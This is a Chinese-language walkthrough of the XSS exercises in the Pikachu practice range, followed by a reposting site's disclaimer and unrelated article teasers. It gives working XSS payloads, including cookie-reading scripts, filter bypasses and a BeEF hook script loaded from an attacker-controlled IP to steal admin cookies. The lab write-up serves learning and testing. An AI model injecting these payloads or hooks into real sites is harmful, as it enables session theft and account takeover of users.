pikachu靶场-XSS

XSS:

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

目录

XSS:

1.反射型xss(get):

2.反射性xss(post):

3.存储型xss:

4.DOM型xss:

5.DOM型xss-x:

6.xss盲打:

7.xss之过滤:

8.xss之htmlspecialchars:

9.xss之href输出:

10.xss之js输出:

1.反射型xss(get):

这里是用get请求做了一个长度的限制,我们使用hackbar来进行传参,页面会弹出一个xss,证明存在xss漏洞,我们顺便讲一下 beef-xss工具。

<script>alert('xss')</script>

我们先登录平台,在靶场这里输入上面的XSS重定向

上线后,即可看见盗取浏览器的cookie等操作。

2.反射性xss(post):

这里我们首先登陆一下,

利用burp抓包修改以下代码。即可返回当前的cookie。

<script>alert(document.cookie)</script>

3.存储型xss:

个人理解:多数在留言板或者评论区,任意用户访问到该页面时,都会存在你的恶意代码。

这里一样的,输入以下代码,我们访问试试。任何人访问时都会进行弹窗。

<script>alert(document.cookie)</script>

4.DOM型xss:

在输入框随便输入 11 ,F12 可以看见,11 被添加在了 <a> </a> 标签里面(html的超链接标签)

开始构建payload

以下是源码部分<div id="xssd_main"><script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text"  value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div></div>
---------------------------------------------------<a href=''>what do you see?</a>这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'> 
点击 what do you see? 的超链接时就可以进行弹框。

我们还可以有其他操作。

  <a href=''>what do you see?</a>这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'> 
点击 what do you see? 的超链接时就可以进行弹框。
我们可以添加一个图像和一个错误事件,当找不到图像的地址时就可以利用 onerror 事件来进行弹框
'onclick='alert(1)'><img src=''onerror='alert('xss')'/>
'><img src=''onerror='alert(1)'/>
即变成<a href=''><img src=''onerror='alert(1)'/>'>what do you see?</a>
输入 '><img src=''onerror='alert(1)'/> 提交后,即可直接弹窗。

5.DOM型xss-x:

这题和上面的没啥区别,先看看源码。

点击<a></a>标签执行 function domxss() 弹出 xss。

payload

'onclick='alert(1)'>
function domxss(){var str = window.location.search;  获取当前URL的查询字符串部分var txss = decodeURIComponent(str.split("text=")[1]); 将查询字符串按照"text="进行分割,返回一个数组,用于解码字符串,将特殊字符转换为原始字符。var xss = txss.replace(/\+/g,' ');  是一个正则表达式,用于匹配加号字符。函数将匹配到的加号字符替换为空格
//                        alert(xss);  最后,将处理后的字符串赋值给变量xssdocument.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";}</script><!--<a href="" onclick=('xss')>--><form method="get"><input id="text" name="text" type="text"  value="" /><input id="submit" type="submit" value="请说出你的伤心往事"/></form><div id="dom"></div></div><a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

6.xss盲打:

先提交数据,再看看提示,登录后台,可以看见提交的数据。

我们再次利用 beef-xss 在上方输入框输入:

<script src="http://192.168.10.129:3000/hook.js"></script>

我们点击提交,在登陆后台,beef-xss 即可上线。获取后台登陆cookie。

7.xss之过滤:

我们尝试的输入:

<script>alert(1)</script>
回显只留下了 >
srcipt
没有过滤
<script>
只保留 >  发现是过滤的 <scrip

方法很简单,不用 <script></script> 标签即可。

我们添加一个图像和一个 onerror 事件。

<img src=''onerror='alert(1)'/>

8.xss之htmlspecialchars:

htmlspecialcharsphp的一个函数,可以输入和返回一个字符串。

我们将 <script> 输入得到 &lt;script&gt;

<?php
echo htmlspecialchars("<script>");
&lt;script&gt;
很明显是把 < > 转义了。

我们在输入框中输入 <srcipt> 看源代码得到

我们可以看到 ' 是没有被转义的,所以我们创建一个点击事件。

'onclick='alert(1)'

OK,成功弹窗。

9.xss之href输出:

这里我们在输入框随便输入 1234 ,发现没有效果,看看源码,发现 ' 被转义。

输入框输入: 'οnclick='alert(1)'

'onclick='alert(1)'
&#039;onclick=&#039;alert(1)&#039

10.xss之js输出:

输入框输入 <script>alert(1)</script> 页面毫无变化。

查看源码:

<script>$ms='<script>alert(1)</script>';
//输入的字符变成了变量,我们构造一下
//$ms='';
//$ms='';alert(1);//';  //这样子即可
// payload ';alert(1);//if($ms.length != 0){if($ms == 'tmac'){$('#fromjs').text('tmac确实厉害,看那小眼神..')}else {
//            alert($ms);$('#fromjs').text('无论如何不要放弃心中所爱..')}}
</script>

输入尝试,成功弹窗。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/263068.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[Angular 基础] - 自定义指令,深入学习 directive

[Angular 基础] - 自定义指令&#xff0c;深入学习 directive 这篇笔记的前置笔记为 [Angular 基础] - 指令(directives)&#xff0c;对 Angular 的 directives 不是很了解的可以先过一下这篇笔记 后面也会拓展一下项目&#xff0c;所以感兴趣的也可以补一下文后对应的项目&a…

VSCODE include错误 找不到 stdio.h

解决办法&#xff1a; Ctrl Shift P 打开命令面板&#xff0c; 键入 “Select Intellisense Configuration”&#xff08;下图是因为我在写文章之前已经用过这个命令&#xff0c;所以这个历史记录出现在了第一行&#xff09; 再选择“Use gcc.exe ”&#xff08;后面的Foun…

【Java程序设计】【C00277】基于Springboot的招生管理系统(有论文)

基于Springboot的招生管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的招生管理系统 本系统分为系统功能模块、管理员功能模块以及学生功能模块。 系统功能模块&#xff1a;在系统首页可以查看首页、专业…

C语言——实用调试技巧——第2篇——(第23篇)

坚持就是胜利 文章目录 一、实例二、如何写出好&#xff08;易于调试&#xff09;的代码1、优秀的代码2、示范&#xff08;1&#xff09;模拟 strcpy 函数方法一&#xff1a;方法二&#xff1a;方法三&#xff1a;有弊端方法四&#xff1a;对方法三进行优化assert 的使用 方法五…

Hive【内部表、外部表、临时表、分区表、分桶表】【总结】

目录 Hive的物种表结构特性 一、内部表 建表 使用场景 二、外部表 建表:关键词【EXTERNAL】 场景&#xff1a; 外部表与内部表可互相转换 三、临时表 建表 临时表横向对比​编辑 四、分区表 建表&#xff1a;关键字【PARTITIONED BY】 场景&#xff1a; 五、分桶表 …

万界星空科技MES系统,实现数字化智能工厂

万界星空科技帮助制造型企业解决生产过程中遇到的生产过程不透明&#xff0c;防错成本高&#xff0c;追溯困难&#xff0c;品质不可控&#xff0c;人工效率低下&#xff0c;库存积压&#xff0c;交期延误等问题&#xff0c;从而达到“降本增效”的目标。打通各个信息孤岛&#…

【算法与数据结构】回溯算法、贪心算法、动态规划、图论(笔记三)

文章目录 七、回溯算法八、贪心算法九、动态规划9.1 背包问题9.2 01背包9.3 完全背包9.4 多重背包 十、图论10.1 深度优先搜索10.2 广度优先搜索10.3 并查集 最近博主学习了算法与数据结构的一些视频&#xff0c;在这个文章做一些笔记和心得&#xff0c;本篇文章就写了一些基础…

2023全新UI千月影视APP源码 | 前后端完美匹配、后端基于ThinkPHP框架

应用介绍 本文来自&#xff1a;2023全新UI千月影视APP源码 | 前后端完美匹配、后端基于ThinkPHP框架 - 源码1688 简介&#xff1a; 2023全新UI千月影视APP源码 | 前后端完美匹配、后端基于thinkphp框架 图片&#xff1a;

.NET Core MongoDB数据仓储和工作单元模式实操

前言 上一章节我们主要讲解了MongoDB数据仓储和工作单元模式的封装&#xff0c;这一章节主要讲的是MongoDB用户管理相关操作实操。如&#xff1a;获取所有用户信息、获取用户分页数据、通过用户ID获取对应用户信息、添加用户信息、事务添加用户信息、用户信息修改、用户信息删除…

kafka为什么性能这么高?

Kafka系统架构 Kafka是一个分布式流处理平台&#xff0c;具有高性能和可伸缩性的特点。它使用了一些关键的设计原则和技术&#xff0c;以实现其高性能。 上图是Kafka的架构图&#xff0c;Producer生产消息&#xff0c;以Partition的维度&#xff0c;按照一定的路由策略&#x…

Java知识点一

hello&#xff0c;大家好&#xff01;我们今天开启Java语言的学习之路&#xff0c;与C语言的学习内容有些许异同&#xff0c;今天我们来简单了解一下Java的基础知识。 一、数据类型 分两种&#xff1a;基本数据类型 引用数据类型 &#xff08;1&#xff09;整型 八种基本数…

Unity 2021.3发布WebGL设置以及nginx的配置

使用unity2021.3发布webgl 使用Unity制作好项目之后建议进行代码清理&#xff0c;这样会即将不用的命名空间去除&#xff0c;不然一会在发布的时候有些命名空间webgl会报错。 平台转换 将平台设置为webgl 设置色彩空间压缩方式 Compression Format 设置为DisabledDecompre…

【kubernetes】二进制部署k8s集群之,多master节点负载均衡以及高可用(下)

↑↑↑↑接上一篇继续部署↑↑↑↑ 之前已经完成了单master节点的部署&#xff0c;现在需要完成多master节点以及实现k8s集群的高可用 一、完成master02节点的初始化操作 二、在master01节点基础上&#xff0c;完成master02节点部署 步骤一&#xff1a;准备好master节点所需…

opengl pyqt 显示文字

目录 效果图 效果图 import sys from PyQt5.QtWidgets import QApplication, QMainWindow, QOpenGLWidgetfrom OpenGL.GL import * from OpenGL.GLUT import * from OpenGL.GLU import *class OpenGLWidget(QOpenGLWidget):def __init__(self, parentNone):super(OpenGLWidget…

【计算机毕业设计】541鲜花商城系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

RabbitMq:什么是RabbitMq? ①

一、RabbitMq定位 RabbitMq是一个基于消息订阅发布的一款消息中间件。 二、技术原理 核心概念 server&#xff1a;又称broker&#xff0c;接受客户端连接&#xff0c;实现AMQP实体服务。缓存代理&#xff0c;Kafka集群中的一台或多台服务器统称broker.connection&#xff1a;…

长短期记忆神经网络

目录 LSTM 神经网络架构 分类 LSTM 网络 回归 LSTM 网络 视频分类网络 更深的 LSTM 网络 网络层 分类、预测和预报 序列填充、截断和拆分 按长度对序列排序 填充序列 截断序列 拆分序列 指定填充方向 归一化序列数据 无法放入内存的数据 可视化 LSTM 层架构 …

springboot+vue项目部署配置开机自启动

1.前端部属 下载nginx解压&#xff0c;在nginx\conf下找到nginx.conf 添加如下代码 server {listen 8081;server_name localhost;charset utf-8;location / {root F:/1ceshi/dist; #前端打包路径try_files $uri $uri/ /index.html;index index.html index.htm;}l…

redis 异步队列

//produceMessage.ts 模拟生产者 import Redis from ioredis; const redis new Redis(); // 生产者&#xff1a;将消息推送到队列 async function produceMessage(queueName:string, message:string) {try {await redis.rpush(queueName, message);console.log(Produced messa…

EasyRecovery2024高级完整个人版免费下载使用

该软件的高级功能和功能选项主要包括以下几个方面&#xff1a; 恢复删除的磁盘分区&#xff1a;EasyRecovery能够快速扫描磁盘&#xff0c;寻找并恢复删除的磁盘分区&#xff0c;无需检索完整磁盘扇区。支持主流的MBR和GPT分区类型&#xff0c;实现安全可靠的分区恢复。恢复格…